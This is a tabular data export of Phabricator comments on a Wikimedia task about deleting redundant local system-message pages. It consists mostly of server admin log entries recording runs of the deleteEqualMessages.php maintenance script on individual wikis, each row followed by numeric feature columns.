820828,"Delete all redundant ""MediaWiki"" pages for system messages","We should do this once or twice a year. Nice job, thanks.",,,1488893219,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,192,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.066666666666667,0.9333333333333333,"We should do this once or twice a year. Nice job, thanks."
820603,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVqnN6AAHQCSeVEJfRZs} [2017-03-07T05:22:04Z] <Krinkle> foreachwikiindblist 'all - closed - private' deleteEqualMessages.php (T45917) - purge upstreamed translations from remaining wikis",,,1488864127,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,192,,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,4.24,0.78,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2017-03-07T05:22:04Z] <Krinkle> foreachwikiindblist 'all - closed - private' deleteEqualMessages.php (T45917) - purge upstreamed translations from remaining wikis"
820581,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVqm0BIAlCyyDMEPvRe-} [2017-03-07T03:28:58Z] <Krinkle> foreachwikiindblist closed deleteEqualMessages.php (T45917) - purge upstreamed translations from closed wikis",,,1488857338,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,192,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.431818181818182,0.7954545454545454,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2017-03-07T03:28:58Z] <Krinkle> foreachwikiindblist closed deleteEqualMessages.php (T45917) - purge upstreamed translations from closed wikis"
814250,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVpoVYifQMK9DA-FKjFz} [2017-02-23T00:18:40Z] <Krinkle> mwscript deleteEqualMessages.php --wiki simplewikibooks (T45917)",,,1487809120,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,190,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.105263157894737,0.8157894736842105,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2017-02-23T00:18:40Z] <Krinkle> mwscript deleteEqualMessages.php --wiki simplewikibooks (T45917)"
796214,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVnODfVMHQCSeVEJfEH0} [2017-01-24T01:18:58Z] <Krinkle> mwscript deleteEqualMessages.php --wiki gotwiki (T45917)",,,1485220738,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,186,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.8947368421052633,0.8157894736842105,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2017-01-24T01:18:58Z] <Krinkle> mwscript deleteEqualMessages.php --wiki gotwiki (T45917)"
795444,"Delete all redundant ""MediaWiki"" pages for system messages",@Krinkle: Maybe https://meta.wikimedia.org/wiki/Steward_requests/Miscellaneous#All_local_mediawiki_messages_on_got.wikipedia.org_should_be_deleted is of interest here. Thanks.,,,1485096966,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,185,,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9090909090909091,SCREEN_NAME: Maybe URL is of interest here. Thanks.
787268,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVlreqFoHQCSeVEJe_Xe} [2017-01-04T21:55:15Z] <Krinkle> mwscript deleteEqualMessages.php --wiki nowikinews (T45917)",,,1483566916,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,183,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.973684210526316,0.8157894736842105,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2017-01-04T21:55:15Z] <Krinkle> mwscript deleteEqualMessages.php --wiki nowikinews (T45917)"
787267,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVlreoZdHQCSeVEJe_Xd} [2017-01-04T21:55:08Z] <Krinkle> mwscript deleteEqualMessages.php --wiki nowiki (T45917)",,,1483566909,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,183,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.8684210526315788,0.8157894736842105,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2017-01-04T21:55:08Z] <Krinkle> mwscript deleteEqualMessages.php --wiki nowiki (T45917)"
766982,"Delete all redundant ""MediaWiki"" pages for system messages",">>! In T45917#2822892, @MarcoAurelio wrote:
> Can angwiki be run next? Thanks.

:white_check_mark: Done!",,,1480114888,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,177,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.7777777777777778,"QUOTE
QUOTE

:white_check_mark: Done!"
766936,"Delete all redundant ""MediaWiki"" pages for system messages",">>! In T45917#2822892, @MarcoAurelio wrote:
> Can angwiki be run next? Thanks.

Done :)",,,1480104613,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,177,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1666666666666665,0.8333333333333334,"QUOTE
QUOTE

Done :)"
766935,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVidG31FHQCSeVEJeyWR} [2016-11-25T20:09:34Z] <Krinkle> mwscript deleteEqualMessages.php --wiki angwiki (T45917)",,,1480104574,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,177,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.8947368421052633,0.8157894736842105,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2016-11-25T20:09:34Z] <Krinkle> mwscript deleteEqualMessages.php --wiki angwiki (T45917)"
766787,"Delete all redundant ""MediaWiki"" pages for system messages",Can angwiki be run next? Thanks.,,,1480071561,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,177,,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.375,1.0,Can angwiki be run next? Thanks.
757834,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVhFB-pNQMK9DA-FJhuN} [2016-11-08T17:41:36Z] <Krinkle> mwscript --deleteEqualMessages.php --wiki ptwikinews (T45917)",,,1478626896,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,175,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.026315789473684,0.8157894736842105,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2016-11-08T17:41:36Z] <Krinkle> mwscript --deleteEqualMessages.php --wiki ptwikinews (T45917)"
757777,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVhEvj7xQMK9DA-FJhrT} [2016-11-08T16:21:08Z] <Krinkle> mwscript --deleteEqualMessages.php --wiki kkwiki (T45917)",,,1478622068,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,175,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.9210526315789473,0.8157894736842105,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2016-11-08T16:21:08Z] <Krinkle> mwscript --deleteEqualMessages.php --wiki kkwiki (T45917)"
757413,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVhBM2zgHQCSeVEJesuz} [2016-11-07T23:50:39Z] <Krinkle> mwscript --deleteEqualMessages.php --wiki jawikinews (T45917)",,,1478562639,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,175,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.026315789473684,0.8157894736842105,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2016-11-07T23:50:39Z] <Krinkle> mwscript --deleteEqualMessages.php --wiki jawikinews (T45917)"
757406,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVhBIxJ3HQCSeVEJesuW} [2016-11-07T23:32:47Z] <Krinkle> mwscript --deleteEqualMessages.php --wiki jawikibooks (T45917)",,,1478561567,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,175,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.052631578947368,0.8157894736842105,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2016-11-07T23:32:47Z] <Krinkle> mwscript --deleteEqualMessages.php --wiki jawikibooks (T45917)"
757395,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVhBEtxkHQCSeVEJestw} [2016-11-07T23:15:04Z] <Krinkle> mwscript --deleteEqualMessages.php --wiki gawiktionary (T45917)",,,1478560505,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,175,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.078947368421052,0.8157894736842105,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2016-11-07T23:15:04Z] <Krinkle> mwscript --deleteEqualMessages.php --wiki gawiktionary (T45917)"
737332,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVd9IhIcfIH_7EDsrdXG} [2016-09-30T22:06:07Z] <Krinkle> Re-run mwscript deleteEqualMessages.php on all wikis it was previously run on (T45917) ",,,1475273167,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,169,,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,13.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,2.0,9.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.6382978723404253,0.7872340425531915,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2016-09-30T22:06:07Z] <Krinkle> Re-run mwscript deleteEqualMessages.php on all wikis it was previously run on (T45917) "
714948,"Delete all redundant ""MediaWiki"" pages for system messages",">>! In T45917#2570454, @MuhammadShuaib wrote:
> @Dereckson, Will you export for me urwiki mediawiki messeges which do not exist on translatewiki? I can help which messeges to be imported to translatewiki. 

Thanks, this is important work. :)",,,1471807228,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,163,,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.9166666666666666,"QUOTE
QUOTE

Thanks, this is important work. :)"
714922,"Delete all redundant ""MediaWiki"" pages for system messages","Here the list of messages to export:

{P3863}

You need to clean it: remove any Wikipedia or Wikimedia message.

The goal is to:
  - translate on wiki Wikimedia/Wikipedia messages
  - translate on TranslateWiki universal messages

",,,1471799443,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,2.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,18.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,12.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.122448979591836,0.6938775510204082,"Here the list of messages to export:

{P3863}

You need to clean it: remove any Wikipedia or Wikimedia message.

The goal is to:
  - translate on wiki Wikimedia/Wikipedia messages
  - translate on TranslateWiki universal messages

"
714909,"Delete all redundant ""MediaWiki"" pages for system messages","@Dereckson, Will you export for me urwiki mediawiki messeges which do not exist on translatewiki? I can help which messeges to be imported to translatewiki. ",,,1471792632,,PHID-USER-xfrkgxsnlepm7r3bx43d,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,163,,0.0,0.0,0.0,4.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,14.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,11.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,4.0,0.0,11.0,14.0,4.0,4.0,0.0,0.0,11.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,4.75,0.8571428571428571,"SCREEN_NAME, Will you export for me urwiki mediawiki messeges which do not exist on translatewiki? I can help which messeges to be imported to translatewiki. "
714905,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVatnr1JpirJUPGy-ySY} [2016-08-21T15:01:16Z] <Dereckson> Run deleteEqualMessages maintenance script on urwiki 